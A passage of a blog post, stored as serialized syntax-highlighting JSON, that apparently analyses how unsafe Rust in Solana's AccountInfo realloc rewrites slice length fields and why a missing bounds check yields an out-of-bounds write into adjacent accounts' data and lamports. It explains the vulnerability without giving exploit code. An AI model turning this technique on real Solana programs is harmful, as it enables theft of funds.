ops":17236,"children":17237},{"style":230},[17238],{"type":31,"value":17239},"        return",{"type":25,"tag":201,"props":17241,"children":17242},{"style":4925},[17243],{"type":31,"value":17244}," Err",{"type":25,"tag":201,"props":17246,"children":17247},{"style":220},[17248],{"type":31,"value":298},{"type":25,"tag":201,"props":17250,"children":17251},{"style":4925},[17252],{"type":31,"value":17253},"InstructionError",{"type":25,"tag":201,"props":17255,"children":17256},{"style":261},[17257],{"type":31,"value":4988},{"type":25,"tag":201,"props":17259,"children":17260},{"style":4925},[17261],{"type":31,"value":17262},"ExecutableDataModified",{"type":25,"tag":201,"props":17264,"children":17265},{"style":220},[17266],{"type":31,"value":308},{"type":25,"tag":201,"props":17268,"children":17269},{"class":203,"line":522},[17270,17275,17279,17284,17288],{"type":25,"tag":201,"props":17271,"children":17272},{"style":220},[17273],{"type":31,"value":17274},"    } ",{"type":25,"tag":201,"props":17276,"children":17277},{"style":230},[17278],{"type":31,"value":322},{"type":25,"tag":201,"props":17280,"children":17281},{"style":230},[17282],{"type":31,"value":17283}," if",{"type":25,"tag":201,"props":17285,"children":17286},{"style":246},[17287],{"type":31,"value":17122},{"type":25,"tag":201,"props":17289,"children":17290},{"style":220},[17291],{"type":31,"value":327},{"type":25,"tag":201,"props":17293,"children":17294},{"class":203,"line":531},[17295,17299,17303,17307,17311,17315,17320],{"type":25,"tag":201,"props":17296,"children":17297},{"style":230},[17298],{"type":31,"value":17239},{"type":25,"tag":201,"props":17300,"children":17301},{"style":4925},[17302],{"type":31,"value":17244},{"type":25,"tag":201,"props":17304,"children":17305},{"style":220},[17306],{"type":31,"value":298},{"type":25,"tag":201,"props":17308,"children":17309},{"style":4925},[17310],{"type":31,"value":17253},{"type":25,"tag":201,"props":17312,"children":17313},{"style":261},[17314],{"type":31,"value":4988},{"type":25,"tag":201,"props":17316,"children":17317},{"style":4925},[17318],{"type":31,"value":17319},"ExternalAccountDataModified",{"type":25,"tag":201,"props":17321,"children":17322},{"style":220},[17323],{"type":31,"value":308},{"type":25,"tag":201,"props":17325,"children":17326},{"class":203,"line":550},[17327,17331,17335],{"type":25,"tag":201,"props":17328,"children":17329},{"style":220},[17330],{"type":31,"value":17274},{"type":25,"tag":201,"props":17332,"children":17333},{"style":230},[17334],{"type":31,"value":322},{"type":25,"tag":201,"props":17336,"children":17337},{"style":220},[17338],{"type":31,"value":327},{"type":25,"tag":201,"props":17340,"children":17341},{"class":203,"line":563},[17342,17346,17350,17354,17358,17362,17367],{"type":25,"tag":201,"props":17343,"children":17344},{"style":230},[17345],{"type":31,"value":17239},{"type":25,"tag":201,"props":17347,"children":17348},{"style":4925},[17349],{"type":31,"value":17244},{"type":25,"tag":201,"props":17351,"children":17352},{"style":220},[17353],{"type":31,"value":298},{"type":25,"tag":201,"props":17355,"children":17356},{"style":4925},[17357],{"type":31,"value":17253},{"type":25,"tag":201,"props":17359,"children":17360},{"style":261},[17361],{"type":31,"value":4988},{"type":25,"tag":201,"props":17363,"children":17364},{"style":4925},[17365],{"type":31,"value":17366},"ReadonlyDataModified",{"type":25,"tag":201,"props":17368,"children":17369},{"style":220},[17370],{"type":31,"value":308},{"type":25,"tag":201,"props":17372,"children":17373},{"class":203,"line":572},[17374],{"type":25,"tag":201,"props":17375,"children":17376},{"style":220},[17377],{"type":31,"value":4861},{"type":25,"tag":201,"props":17379,"children":17380},{"class":203,"line":590},[17381],{"type":25,"tag":201,"props":17382,"children":17383},{"style":220},[17384],{"type":31,"value":1187},{"type":25,"tag":40,"props":17386,"children":17388},{"id":17387},"back-to-realloc",[17389,17391],{"type":31,"value":17390},"Back to ",{"type":25,"tag":115,"props":17392,"children":17394},{"className":17393},[],[17395],{"type":31,"value":15140},{"type":25,"tag":34,"props":17397,"children":17398},{},[17399],{"type":31,"value":17400},"As a reminder, this is what we were looking at before that detour:",{"type":25,"tag":191,"props":17402,"children":17403},{"className":4487,"code":15893,"language":4486,"meta":7,"style":7},[17404],{"type":25,"tag":115,"props":17405,"children":17406},{"__ignoreMap":7},[17407,17414,17501],{"type":25,"tag":201,"props":17408,"children":17409},{"class":203,"line":204},[17410],{"type":25,"tag":201,"props":17411,"children":17412},{"style":4497},[17413],{"type":31,"value":15905},{"type":25,"tag":201,"props":17415,"children":17416},{"class":203,"line":226},[17417,17421,17425,17429,17433,17437,17441,17445,17449,17453,17457,17461,17465,17469,17473,17477,17481,17485,17489,17493,17497],{"type":25,"tag":201,"props":17418,"children":17419},{"style":208},[17420],{"type":31,"value":13289},{"type":25,"tag":201,"props":17422,"children":17423},{"style":246},[17424],{"type":31,"value":15359},{"type":25,"tag":201,"props":17426,"children":17427},{"style":261},[17428],{"type":31,"value":413},{"type":25,"tag":201,"props":17430,"children":17431},{"style":208},[17432],{"type":31,"value":15299},{"type":25,"tag":201,"props":17434,"children":17435},{"style":261},[17436],{"type":31,"value":80},{"type":25,"tag":201,"props":17438,"children":17439},{"style":214},[17440],{"type":31,"value":15376},{"type":25,"tag":201,"props":17442,"children":17443},{"style":220},[17444],{"type":31,"value":15381},{"type":25,"tag":201,"props":17446,"children":17447},{"style":261},[17448],{"type":31,"value":4638},{"type":25,"tag":201,"props":17450,"children":17451},{"style":214},[17452],{"type":31,"value":15390},{"type":25,"tag":201,"props":17454,"children":17455},{"style":220},[17456],{"type":31,"value":15381},{"type":25,"tag":201,"props":17458,"children":17459},{"style":261},[17460],{"type":31,"value":80},{"type":25,"tag":201,"props":17462,"children":17463},{"style":214},[17464],{"type":31,"value":15403},{"type":25,"tag":201,"props":17466,"children":17467},{"style":220},[17468],{"type":31,"value":298},{"type":25,"tag":201,"props":17470,"children":17471},{"style":261},[17472],{"type":31,"value":5832},{"type":25,"tag":201,"props":17474,"children":17475},{"style":426},[17476],{"type":31,"value":5579},{"type":25,"tag":201,"props":17478,"children":17479},{"style":220},[17480],{"type":31,"value":385},{"type":25,"tag":201,"props":17482,"children":17483},{"style":208},[17484],{"type":31,"value":10349},{"type":25,"tag":201,"props":17486,"children":17487},{"style":261},[17488],{"type":31,"value":11319},{"type":25,"tag":201,"props":17490,"children":17491},{"style":208},[17492],{"type":31,"value":5228},{"type":25,"tag":201,"props":17494,"children":17495},{"style":4925},[17496],{"type":31,"value":7369},{"type":25,"tag":201,"props":17498,"children":17499},{"style":220},[17500],{"type":31,"value":461},{"type":25,"tag":201,"props":17502,"children":17503},{"class":203,"line":278},[17504,17508,17512,17516,17520,17524,17528],{"type":25,"tag":201,"props":17505,"children":17506},{"style":261},[17507],{"type":31,"value":6077},{"type":25,"tag":201,"props":17509,"children":17510},{"style":246},[17511],{"type":31,"value":15451},{"type":25,"tag":201,"props":17513,"children":17514},{"style":261},[17515],{"type":31,"value":413},{"type":25,"tag":201,"props":17517,"children":17518},{"style":246},[17519],{"type":31,"value":15460},{"type":25,"tag":201,"props":17521,"children":17522},{"style":208},[17523],{"type":31,"value":10335},{"type":25,"tag":201,"props":17525,"children":17526},{"style":4925},[17527],{"type":31,"value":7369},{"type":25,"tag":201,"props":17529,"children":17530},{"style":220},[17531],{"type":31,"value":461},{"type":25,"tag":34,"props":17533,"children":17534},{},[17535,17540,17542,17547,17549,17554,17556,17567,17569,17574,17576,17581],{"type":25,"tag":115,"props":17536,"children":17538},{"className":17537},[],[17539],{"type":31,"value":15376},{"type":31,"value":17541}," gives us the ",{"type":25,"tag":115,"props":17543,"children":17545},{"className":17544},[],[17546],{"type":31,"value":16959},{"type":31,"value":17548}," from the ",{"type":25,"tag":115,"props":17550,"children":17552},{"className":17551},[],[17553],{"type":31,"value":16833},{"type":31,"value":17555},", whose data is inside the serialized buffer and immediately after the size of the data inside the serialized buffer. And ",{"type":25,"tag":71,"props":17557,"children":17560},{"href":17558,"rel":17559},"https://doc.rust-lang.org/std/primitive.slice.html#method.as_mut_ptr",[75],[17561],{"type":25,"tag":115,"props":17562,"children":17564},{"className":17563},[],[17565],{"type":31,"value":17566},"slice::as_mut_ptr()",{"type":31,"value":17568}," gives us that data pointer directly. So, this code computes a pointer to that serialized size field (8 bytes - the size of a ",{"type":25,"tag":115,"props":17570,"children":17572},{"className":17571},[],[17573],{"type":31,"value":9551},{"type":31,"value":17575}," - behind the data buffer), and then writes ",{"type":25,"tag":115,"props":17577,"children":17579},{"className":17578},[],[17580],{"type":31,"value":15224},{"type":31,"value":17582}," to it.",{"type":25,"tag":34,"props":17584,"children":17585},{},[17586,17588,17600,17602,17608],{"type":31,"value":17587},"This is reasonable... ",{"type":25,"tag":65,"props":17589,"children":17590},{},[17591,17593,17598],{"type":31,"value":17592},"as long as the ",{"type":25,"tag":115,"props":17594,"children":17596},{"className":17595},[],[17597],{"type":31,"value":5206},{"type":31,"value":17599}," actually came from the serialized buffer",{"type":31,"value":17601},". We'll come back to this ",{"type":25,"tag":71,"props":17603,"children":17605},{"href":17604},"#Not-contracts",[17606],{"type":31,"value":17607},"later",{"type":31,"value":80},{"type":25,"tag":34,"props":17610,"children":17611},{},[17612,17614,17619],{"type":31,"value":17613},"At this point we've updated the serialized buffer, so at exit the runtime will understand that the size of the account's data buffer has changed. However, we haven't dealt with the Rust side yet. Slices have a length, and we haven't dealt with the ",{"type":25,"tag":115,"props":17615,"children":17617},{"className":17616},[],[17618],{"type":31,"value":16959},{"type":31,"value":17620}," slice that is our view into the data from the Rust world. So let's look at the next chunk:",{"type":25,"tag":191,"props":17622,"children":17624},{"className":4487,"code":17623,"language":4486,"meta":7,"style":7},"// Then set the new length in the local slice\nlet ptr = &mut *(((self.data.as_ptr() as *const u64).offset(1) as u64) as *mut u64);\n*ptr = new_len as u64;\n",[17625],{"type":25,"tag":115,"props":17626,"children":17627},{"__ignoreMap":7},[17628,17636,17763],{"type":25,"tag":201,"props":17629,"children":17630},{"class":203,"line":204},[17631],{"type":25,"tag":201,"props":17632,"children":17633},{"style":4497},[17634],{"type":31,"value":17635},"// Then set the new length in the local slice\n",{"type":25,"tag":201,"props":17637,"children":17638},{"class":203,"line":226},[17639,17643,17647,17651,17655,17659,17663,17667,17671,17675,17679,17683,17687,17691,17695,17699,17703,17707,17711,17715,17719,17723,17727,17731,17735,17739,17743,17747,17751,17755,17759],{"type":25,"tag":201,"props":17640,"children":17641},{"style":208},[17642],{"type":31,"value":13289},{"type":25,"tag":201,"props":17644,"children":17645},{"style":246},[17646],{"type":31,"value":15359},{"type":25,"tag":201,"props":17648,"children":17649},{"style":261},[17650],{"type":31,"value":413},{"type":25,"tag":201,"props":17652,"children":17653},{"style":261},[17654],{"type":31,"value":8650},{"type":25,"tag":201,"props":17656,"children":17657},{"style":208},[17658],{"type":31,"value":5228},{"type":25,"tag":201,"props":17660,"children":17661},{"style":261},[17662],{"type":31,"value":11319},{"type":25,"tag":201,"props":17664,"children":17665},{"style":220},[17666],{"type":31,"value":15519},{"type":25,"tag":201,"props":17668,"children":17669},{"style":208},[17670],{"type":31,"value":15215},{"type":25,"tag":201,"props":17672,"children":17673},{"style":261},[17674],{"type":31,"value":80},{"type":25,"tag":201,"props":17676,"children":17677},{"style":220},[17678],{"type":31,"value":5206},{"type":25,"tag":201,"props":17680,"children":17681},{"style":261},[17682],{"type":31,"value":80},{"type":25,"tag":201,"props":17684,"children":17685},{"style":214},[17686],{"type":31,"value":15540},{"type":25,"tag":201,"props":17688,"children":17689},{"style":220},[17690],{"type":31,"value":15545},{"type":25,"tag":201,"props":17692,"children":17693},{"style":208},[17694],{"type":31,"value":10349},{"type":25,"tag":201,"props":17696,"children":17697},{"style":261},[17698],{"type":31,"value":11319},{"type":25,"tag":201,"props":17700,"children":17701},{"style":208},[17702],{"type":31,"value":4074},{"type":25,"tag":201,"props":17704,"children":17705},{"style":4925},[17706],{"type":31,"value":7369},{"type":25,"tag":201,"props":17708,"children":17709},{"style":220},[17710],{"type":31,"value":3073},{"type":25,"tag":201,"props":17712,"children":17713},{"style":261},[17714],{"type":31,"value":80},{"type":25,"tag":201,"props":17716,"children":17717},{"style":214},[17718],{"type":31,"value":15403},{"type":25,"tag":201,"props":17720,"children":17721},{"style":220},[17722],{"type":31,"value":298},{"type":25,"tag":201,"props":17724,"children":17725},{"style":426},[17726],{"type":31,"value":5516},{"type":25,"tag":201,"props":17728,"children":17729},{"style":220},[17730],{"type":31,"value":385},{"type":25,"tag":201,"props":17732,"children":17733},{"style":208},[17734],{"type":31,"value":10349},{"type":25,"tag":201,"props":17736,"children":17737},{"style":4925},[17738],{"type":31,"value":7369},{"type":25,"tag":201,"props":17740,"children":17741},{"style":220},[17742],{"type":31,"value":385},{"type":25,"tag":201,"props":17744,"children":17745},{"style":208},[17746],{"type":31,"value":10349},{"type":25,"tag":201,"props":17748,"children":17749},{"style":261},[17750],{"type":31,"value":11319},{"type":25,"tag":201,"props":17752,"children":17753},{"style":208},[17754],{"type":31,"value":5228},{"type":25,"tag":201,"props":17756,"children":17757},{"style":4925},[17758],{"type":31,"value":7369},{"type":25,"tag":201,"props":17760,"children":17761},{"style":220},[17762],{"type":31,"value":308},{"type":25,"tag":201,"props":17764,"children":17765},{"class":203,"line":278},[17766,17770,17774,17778,17782,17786,17790],{"type":25,"tag":201,"props":17767,"children":17768},{"style":261},[17769],{"type":31,"value":6077},{"type":25,"tag":201,"props":17771,"children":17772},{"style":246},[17773],{"type":31,"value":15451},{"type":25,"tag":201,"props":17775,"children":17776},{"style":261},[17777],{"type":31,"value":413},{"type":25,"tag":201,"props":17779,"children":17780},{"style":246},[17781],{"type":31,"value":15460},{"type":25,"tag":201,"props":17783,"children":17784},{"style":208},[17785],{"type":31,"value":10335},{"type":25,"tag":201,"props":17787,"children":17788},{"style":4925},[17789],{"type":31,"value":7369},{"type":25,"tag":201,"props":17791,"children":17792},{"style":220},[17793],{"type":31,"value":461},{"type":25,"tag":34,"props":17795,"children":17796},{},[17797,17799,17805,17807,17818,17820,17826,17828,17834,17836,17841,17843,17848,17850,17860,17861,17868,17869,17876,17883,17885,17891,17893,17899,17901,17906,17908,17913,17915,17921,17923,17928],{"type":31,"value":17798},"That ",{"type":25,"tag":115,"props":17800,"children":17802},{"className":17801},[],[17803],{"type":31,"value":17804},"as_ptr()",{"type":31,"value":17806}," call is ",{"type":25,"tag":71,"props":17808,"children":17811},{"href":17809,"rel":17810},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.as_ptr",[75],[17812],{"type":25,"tag":115,"props":17813,"children":17815},{"className":17814},[],[17816],{"type":31,"value":17817},"RefCell::as_ptr()",{"type":31,"value":17819}," due to the ",{"type":25,"tag":115,"props":17821,"children":17823},{"className":17822},[],[17824],{"type":31,"value":17825},"Deref",{"type":31,"value":17827}," impl on ",{"type":25,"tag":115,"props":17829,"children":17831},{"className":17830},[],[17832],{"type":31,"value":17833},"Rc",{"type":31,"value":17835}," (remember also that ",{"type":25,"tag":115,"props":17837,"children":17839},{"className":17838},[],[17840],{"type":31,"value":17000},{"type":31,"value":17842}," itself doesn't behave like a reference, you need to actually ",{"type":25,"tag":65,"props":17844,"children":17845},{},[17846],{"type":31,"value":17847},"get",{"type":31,"value":17849}," one through ",{"type":25,"tag":71,"props":17851,"children":17854},{"href":17852,"rel":17853},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.borrow",[75],[17855],{"type":25,"tag":115,"props":17856,"children":17858},{"className":17857},[],[17859],{"type":31,"value":10309},{"type":31,"value":7966},{"type":25,"tag":71,"props":17862,"children":17865},{"href":17863,"rel":17864},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.borrow_mut",[75],[17866],{"type":31,"value":17867},"and",{"type":31,"value":7966},{"type":25,"tag":71,"props":17870,"children":17873},{"href":17871,"rel":17872},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.try_borrow",[75],[17874],{"type":31,"value":17875},"frie",{"type":25,"tag":71,"props":17877,"children":17880},{"href":17878,"rel":17879},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.try_borrow_mut",[75],[17881],{"type":31,"value":17882},"nds",{"type":31,"value":17884},"). So from ",{"type":25,"tag":115,"props":17886,"children":17888},{"className":17887},[],[17889],{"type":31,"value":17890},"RefCell::\u003C&mut [u8]>::as_mut()",{"type":31,"value":17892}," we get a ",{"type":25,"tag":115,"props":17894,"children":17896},{"className":17895},[],[17897],{"type":31,"value":17898},"*mut &mut [u8]",{"type":31,"value":17900}," - a ",{"type":25,"tag":65,"props":17902,"children":17903},{},[17904],{"type":31,"value":17905},"pointer",{"type":31,"value":17907}," to the ",{"type":25,"tag":65,"props":17909,"children":17910},{},[17911],{"type":31,"value":17912},"slice reference",{"type":31,"value":17914},". From here, we turn the pointer into a ",{"type":25,"tag":115,"props":17916,"children":17918},{"className":17917},[],[17919],{"type":31,"value":17920},"*const u64",{"type":31,"value":17922}," pointer and then offset by 1 ",{"type":25,"tag":115,"props":17924,"children":17926},{"className":17925},[],[17927],{"type":31,"value":9551},{"type":31,"value":17929}," (so 8 bytes). Finally, we switch the pointer back to being mutable, and write the new length to it.",{"type":25,"tag":34,"props":17931,"children":17932},{},[17933,17935,17940,17942,17947,17949,17954,17956,17961,17963,17969],{"type":31,"value":17934},"Now, if you're sitting here thinking that this is unnecessarily convoluted and confusing, you'd be right! But we'll get back to that ",{"type":25,"tag":71,"props":17936,"children":17938},{"href":17937},"#Towards-safer-unsafe",[17939],{"type":31,"value":17607},{"type":31,"value":17941}," too, I promise. In summary, we're writing the new length as a ",{"type":25,"tag":115,"props":17943,"children":17945},{"className":17944},[],[17946],{"type":31,"value":9551},{"type":31,"value":17948}," to the region starting 8 bytes from the start of the slice ",{"type":25,"tag":65,"props":17950,"children":17951},{},[17952],{"type":31,"value":17953},"reference",{"type":31,"value":17955}," (the ",{"type":25,"tag":115,"props":17957,"children":17959},{"className":17958},[],[17960],{"type":31,"value":16959},{"type":31,"value":17962},").So, what does ",{"type":25,"tag":115,"props":17964,"children":17966},{"className":17965},[],[17967],{"type":31,"value":17968},"&[T]",{"type":31,"value":17970}," look like in Rust?",{"type":25,"tag":34,"props":17972,"children":17973},{},[17974,17976,17983,17985,17998,18000,18006],{"type":31,"value":17975},"According to ",{"type":25,"tag":71,"props":17977,"children":17980},{"href":17978,"rel":17979},"https://doc.rust-lang.org/reference/type-layout.html#pointers-and-references-layout",[75],[17981],{"type":31,"value":17982},"the reference",{"type":31,"value":17984},", it's completely undefined - there are no guarantees made in the reference, and ",{"type":25,"tag":71,"props":17986,"children":17989},{"href":17987,"rel":17988},"https://doc.rust-lang.org/reference/type-layout.html",[75],[17990,17992,17996],{"type":31,"value":17991},"\"Type layout can be changed with each compilation. ",{"type":25,"tag":201,"props":17993,"children":17994},{},[17995],{"type":31,"value":11095},{"type":31,"value":17997}," we only document what is guaranteed today\"",{"type":31,"value":17999},". But it seems like those pesky language specs aren't stopping Solana developers. In current ",{"type":25,"tag":115,"props":18001,"children":18003},{"className":18002},[],[18004],{"type":31,"value":18005},"rustc",{"type":31,"value":18007},", the layout is a data pointer followed by the size; essentially the same as:",{"type":25,"tag":191,"props":18009,"children":18012},{"className":18010,"code":18011,"language":4652,"meta":7,"style":7},"language-c shiki shiki-themes slack-dark","// C language\nstruct slice_ref {\n    void* ptr;\n    size_t len;\n};\n",[18013],{"type":25,"tag":115,"props":18014,"children":18015},{"__ignoreMap":7},[18016,18024,18036,18053,18066],{"type":25,"tag":201,"props":18017,"children":18018},{"class":203,"line":204},[18019],{"type":25,"tag":201,"props":18020,"children":18021},{"style":4497},[18022],{"type":31,"value":18023},"// C language\n",{"type":25,"tag":201,"props":18025,"children":18026},{"class":203,"line":226},[18027,18031],{"type":25,"tag":201,"props":18028,"children":18029},{"style":208},[18030],{"type":31,"value":10905},{"type":25,"tag":201,"props":18032,"children":18033},{"style":220},[18034],{"type":31,"value":18035}," slice_ref {\n",{"type":25,"tag":201,"props":18037,"children":18038},{"class":203,"line":278},[18039,18044,18048],{"type":25,"tag":201,"props":18040,"children":18041},{"style":208},[18042],{"type":31,"value":18043},"    void",{"type":25,"tag":201,"props":18045,"children":18046},{"style":261},[18047],{"type":31,"value":6077},{"type":25,"tag":201,"props":18049,"children":18050},{"style":220},[18051],{"type":31,"value":18052}," ptr;\n",{"type":25,"tag":201,"props":18054,"children":18055},{"class":203,"line":311},[18056,18061],{"type":25,"tag":201,"props":18057,"children":18058},{"style":208},[18059],{"type":31,"value":18060},"    size_t",{"type":25,"tag":201,"props":18062,"children":18063},{"style":220},[18064],{"type":31,"value":18065}," len;\n",{"type":25,"tag":201,"props":18067,"children":18068},{"class":203,"line":330},[18069],{"type":25,"tag":201,"props":18070,"children":18071},{"style":220},[18072],{"type":31,"value":18073},"};\n",{"type":25,"tag":34,"props":18075,"children":18076},{},[18077],{"type":31,"value":18078},"So at the end of the day we find out that the code is simply writing over the length field in the slice reference. Let's step back a moment and take a look at all the assumptions we made along the way while executing these 2 lines (really only one of importance!):",{"type":25,"tag":6944,"props":18080,"children":18081},{},[18082,18087,18105],{"type":25,"tag":6948,"props":18083,"children":18084},{},[18085],{"type":31,"value":18086},"Slices are laid out in the precise manner described",{"type":25,"tag":6948,"props":18088,"children":18089},{},[18090,18092,18098,18100],{"type":31,"value":18091},"Pointers and ",{"type":25,"tag":115,"props":18093,"children":18095},{"className":18094},[],[18096],{"type":31,"value":18097},"usize",{"type":31,"value":18099}," are the same width as ",{"type":25,"tag":115,"props":18101,"children":18103},{"className":18102},[],[18104],{"type":31,"value":9551},{"type":25,"tag":6948,"props":18106,"children":18107},{},[18108,18110,18115],{"type":31,"value":18109},"The ",{"type":25,"tag":115,"props":18111,"children":18113},{"className":18112},[],[18114],{"type":31,"value":17000},{"type":31,"value":18116}," was not borrowed (i.e. we didn't just mutate it while someone else has a reference to its contents)",{"type":25,"tag":34,"props":18118,"children":18119},{},[18120,18122,18127,18129,18135,18137,18142,18144,18150,18152,18157,18159,18169],{"type":31,"value":18121},"Assumption #2 is ",{"type":25,"tag":65,"props":18123,"children":18124},{},[18125],{"type":31,"value":18126},"probably",{"type":31,"value":18128}," fine when we only care about targeting Solana's bytecode machine, but still not a particularly safe assumption to make in case some change happens on the toolchain. And assumption #3 turns out to be a non-issue since we had just done a ",{"type":25,"tag":115,"props":18130,"children":18132},{"className":18131},[],[18133],{"type":31,"value":18134},"borrow_mut",{"type":31,"value":18136}," of the ",{"type":25,"tag":115,"props":18138,"children":18140},{"className":18139},[],[18141],{"type":31,"value":17000},{"type":31,"value":18143}," (through ",{"type":25,"tag":115,"props":18145,"children":18147},{"className":18146},[],[18148],{"type":31,"value":18149},"AccountInfo::try_borrow_mut_data()",{"type":31,"value":18151},"), and ",{"type":25,"tag":115,"props":18153,"children":18155},{"className":18154},[],[18156],{"type":31,"value":17000},{"type":31,"value":18158}," is not usable between multiple threads",{"type":25,"tag":16970,"props":18160,"children":18161},{},[18162],{"type":25,"tag":71,"props":18163,"children":18167},{"href":18164,"ariaDescribedBy":18165,"dataFootnoteRef":7,"id":18166},"#user-content-fn-sendsync",[16977],"user-content-fnref-sendsync",[18168],{"type":31,"value":4629},{"type":31,"value":18170},", so we already have exclusive access.",{"type":25,"tag":34,"props":18172,"children":18173},{},[18174,18176,18180],{"type":31,"value":18175},"A few more ",{"type":25,"tag":65,"props":18177,"children":18178},{},[18179],{"type":31,"value":8616},{"type":31,"value":18181}," things of note, that could have gone badly but didn't:",{"type":25,"tag":18183,"props":18184,"children":18185},"ul",{},[18186,18228],{"type":25,"tag":6948,"props":18187,"children":18188},{},[18189,18191,18197,18199,18204,18206,18211,18213,18218,18220,18226],{"type":31,"value":18190},"By reborrowing the pointer (the ",{"type":25,"tag":115,"props":18192,"children":18194},{"className":18193},[],[18195],{"type":31,"value":18196},"&mut *(\u003Cvalue of type *mut u64>)",{"type":31,"value":18198},"), we've created a reference with an ",{"type":25,"tag":65,"props":18200,"children":18201},{},[18202],{"type":31,"value":18203},"unbounded lifetime",{"type":31,"value":18205},". Rust is free to infer ",{"type":25,"tag":65,"props":18207,"children":18208},{},[18209],{"type":31,"value":18210},"any",{"type":31,"value":18212}," lifetime for ",{"type":25,"tag":115,"props":18214,"children":18216},{"className":18215},[],[18217],{"type":31,"value":15451},{"type":31,"value":18219}," (including ",{"type":25,"tag":115,"props":18221,"children":18223},{"className":18222},[],[18224],{"type":31,"value":18225},"'static",{"type":31,"value":18227},"); thankfully it's only used in the next statement and never has a chance to escape.",{"type":25,"tag":6948,"props":18229,"children":18230},{},[18231,18233,18239,18241,18246,18248,18253,18255,18260,18262,18267,18269,18274,18276,18281,18283,18289,18291,18296,18298,18303,18305,18310,18312,18317,18319,18324],{"type":31,"value":18232},"Going back to the first statement when we were modifying the data buffer, it turns out we have another lifetime problem: we created a mutable pointer to the data from the ",{"type":25,"tag":115,"props":18234,"children":18236},{"className":18235},[],[18237],{"type":31,"value":18238},"RefMut",{"type":31,"value":18240}," returned from ",{"type":25,"tag":115,"props":18242,"children":18244},{"className":18243},[],[18245],{"type":31,"value":15376},{"type":31,"value":18247},", but the ",{"type":25,"tag":115,"props":18249,"children":18251},{"className":18250},[],[18252],{"type":31,"value":18238},{"type":31,"value":18254}," is dropped at the end of the statement. So, we now have in ",{"type":25,"tag":115,"props":18256,"children":18258},{"className":18257},[],[18259],{"type":31,"value":15451},{"type":31,"value":18261}," a ",{"type":25,"tag":65,"props":18263,"children":18264},{},[18265],{"type":31,"value":18266},"mutable",{"type":31,"value":18268}," pointer to the ",{"type":25,"tag":115,"props":18270,"children":18272},{"className":18271},[],[18273],{"type":31,"value":17000},{"type":31,"value":18275},"'s data, but the ",{"type":25,"tag":115,"props":18277,"children":18279},{"className":18278},[],[18280],{"type":31,"value":17000},{"type":31,"value":18282}," thinks that we're done with our borrow. If we happened to be in a multithreaded scenario with something like a ",{"type":25,"tag":115,"props":18284,"children":18286},{"className":18285},[],[18287],{"type":31,"value":18288},"Mutex",{"type":31,"value":18290}," instead of a ",{"type":25,"tag":115,"props":18292,"children":18294},{"className":18293},[],[18295],{"type":31,"value":17000},{"type":31,"value":18297}," (but with otherwise semantically identical code), then a different thread could attempt to borrow between creating ",{"type":25,"tag":115,"props":18299,"children":18301},{"className":18300},[],[18302],{"type":31,"value":15451},{"type":31,"value":18304}," and writing to it ",{"type":25,"tag":65,"props":18306,"children":18307},{},[18308],{"type":31,"value":18309},"and succeed",{"type":31,"value":18311},", resulting in us writing while another reference is alive. However, since ",{"type":25,"tag":115,"props":18313,"children":18315},{"className":18314},[],[18316],{"type":31,"value":15451},{"type":31,"value":18318}," is behind the actual data and thus the region it points to is inaccessible through the ",{"type":25,"tag":115,"props":18320,"children":18322},{"className":18321},[],[18323],{"type":31,"value":5206},{"type":31,"value":18325}," slice, this is still not a problem. I just wanted to highlight how easy it is to mess up borrowing and lifetimes when writing unsafe code.",{"type":25,"tag":34,"props":18327,"children":18328},{},[18329,18331,18336],{"type":31,"value":18330},"Ok, now that we've understood what the code is ",{"type":25,"tag":65,"props":18332,"children":18333},{},[18334],{"type":31,"value":18335},"trying",{"type":31,"value":18337}," to do, let's try to break it, shall we?",{"type":25,"tag":26,"props":18339,"children":18341},{"id":18340},"what-can-go-wrong",[18342],{"type":31,"value":18343},"What can go wrong?",{"type":25,"tag":40,"props":18345,"children":18347},{"id":18346},"contracts",[18348],{"type":31,"value":18349},"Contracts",{"type":25,"tag":34,"props":18351,"children":18352},{},[18353,18355,18360,18362,18367,18369,18374,18376,18381],{"type":31,"value":18354},"Again, it's quite conspicuous that there's no bounds check whatsoever, and additionally, we notice that at no point did we actually touch the data pointer of the slice reference when ",{"type":25,"tag":115,"props":18356,"children":18358},{"className":18357},[],[18359],{"type":31,"value":15140},{"type":31,"value":18361},"'ing. In other words, when we realloc, all we do is change some size fields, no allocation is happening. So, if we ",{"type":25,"tag":115,"props":18363,"children":18365},{"className":18364},[],[18366],{"type":31,"value":15140},{"type":31,"value":18368}," to some large size, past the end of the buffer of roughly ",{"type":25,"tag":115,"props":18370,"children":18372},{"className":18371},[],[18373],{"type":31,"value":16790},{"type":31,"value":18375}," bytes in the serialized buffer from the BPF loader, then we've got free out-of-bounds memory write! Using the ",{"type":25,"tag":115,"props":18377,"children":18379},{"className":18378},[],[18380],{"type":31,"value":5206},{"type":31,"value":18382}," slice, we can write to anything \"after\" our account's data in memory. Other accounts' data are stored adjacent in memory, so it'd be pretty easy to modify the data or lamports. And remember, sizes and indices are unsigned, so what's \"behind\" our account in memory is actually just very far \"after\" our account - the address will wrap around the end of the address space.",{"type":25,"tag":34,"props":18384,"children":18385},{},[18386,18388,18395],{"type":31,"value":18387},"There is ",{"type":25,"tag":71,"props":18389,"children":18392},{"href":18390,"rel":18391},"https://github.com/solana-labs/solana/blob/94685e1222b3289859a447d62fadea20898241e0/programs/bpf_loader/src/serialization.rs#L324-L328",[75],[18393],{"type":31,"value":18394},"a check",{"type":31,"value":18396}," by the BPF loader, however, and it boils down to:",{"type":25,"tag":191,"props":18398,"children":18400},{"className":4487,"code":18399,"language":4486,"meta":7,"style":7},"if post_len.saturating_sub(*pre_len) > MAX_PERMITTED_DATA_INCREASE\n    || post_len > MAX_PERMITTED_DATA_LENGTH as usize\n{\n    return Err(InstructionError::InvalidRealloc);\n}\n",[18401],{"type":25,"tag":115,"props":18402,"children":18403},{"__ignoreMap":7},[18404,18442,18472,18479,18512],{"type":25,"tag":201,"props":18405,"children":18406},{"class":203,"line":204},[18407,18411,18416,18420,18424,18428,18432,18437],{"type":25,"tag":201,"props":18408,"children":18409},{"style":230},[18410],{"type":31,"value":4105},{"type":25,"tag":201,"props":18412,"children":18413},{"style":246},[18414],{"type":31,"value":18415}," 